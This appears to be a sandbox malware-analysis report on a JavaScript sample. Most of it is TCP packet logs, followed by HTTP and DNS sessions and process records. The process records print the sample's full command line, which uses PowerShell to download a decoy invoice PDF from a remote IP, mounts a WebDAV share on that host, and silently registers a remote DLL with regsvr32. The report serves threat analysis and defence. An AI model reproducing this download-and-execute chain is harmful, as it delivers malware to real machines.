Jan 10, 2025 23:18:04.277647972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277659893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277669907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.277693033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.277920961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277931929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277941942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277952909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277964115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277966022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.277976990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.277988911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278002024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.278038025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.278203964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278214931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278225899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278238058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278249025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278254032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.278261900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278274059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278290033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.278314114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.278564930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278574944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278584957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278595924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278608084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278614044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.278620958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278633118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278644085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.278645992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.278681993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.279037952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279048920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279059887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279118061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.279181004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279192924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279202938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279213905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279226065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279232979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.279237032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279248953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279259920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279263020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.279272079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279284000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279294014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.279321909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.279654980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279666901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279678106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279692888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279705048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.279706001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279726028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.279766083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.279928923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279939890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279951096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279963017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279973984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.279984951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.280003071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.280040979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.280101061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.280112028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.280121088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.280133963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.280148029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.280152082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.280175924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.302175999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.307594061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.307610989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.307625055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.307657957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.307689905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.307702065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.307713985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.307725906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.307769060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.307884932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.307898998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.307909966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.307929993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.307967901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.308013916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.308027029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.308037043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.308084011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.323803902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323815107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323833942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323847055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323857069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323863983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.323868990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323884010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323899031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323909998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323921919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323935986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323946953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323966980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323978901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.323991060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324003935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324017048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324048042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324048042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324048042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324048042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324048042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324069023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324069023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324749947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324760914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324774027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324785948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324798107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324806929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324811935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324826002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324835062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324840069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324852943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324865103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324878931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324879885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324891090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324909925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324911118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324923992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324935913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324937105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324949026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.324969053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.324991941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.325470924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.325484991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.325499058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.325510025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.325522900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.325535059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.325541973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.325581074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.364638090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364665031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364676952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364687920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364698887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364711046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364722013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364732981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364744902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364761114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364772081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364783049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364794016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364804983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364816904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364826918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364840031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:04.364878893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.364878893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.364922047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.364922047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.749902964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:04.777601004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:05.028726101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:05.511873007 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:05.516859055 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:05.517172098 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:05.517748117 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:05.522614956 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:06.312958002 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 23:18:06.366864920 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:18:06.796508074 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:18:18.350332022 CET	58203	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:18:18.350332022 CET	192.168.2.4	1.1.1.1	0xc11e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:18:18.358771086 CET	1.1.1.1	192.168.2.4	0xc11e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	2180	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:18:02.821618080 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:18:03.613223076 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:18:03 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:18:03.613248110 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:18:03.613261938 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:18:03.613295078 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 23:18:03.613313913 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 23:18:03.613326073 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 23:18:03.613337994 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 23:18:03.613464117 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 23:18:03.613477945 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 23:18:03.613491058 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 23:18:03.643862009 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	6532	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:18:05.517748117 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:18:06.312958002 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:18:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:17:58
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js"
Imagebase:	0x7ff6eb870000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:17:58
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll
Imagebase:	0x7ff7cc4d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:17:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:17:59
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
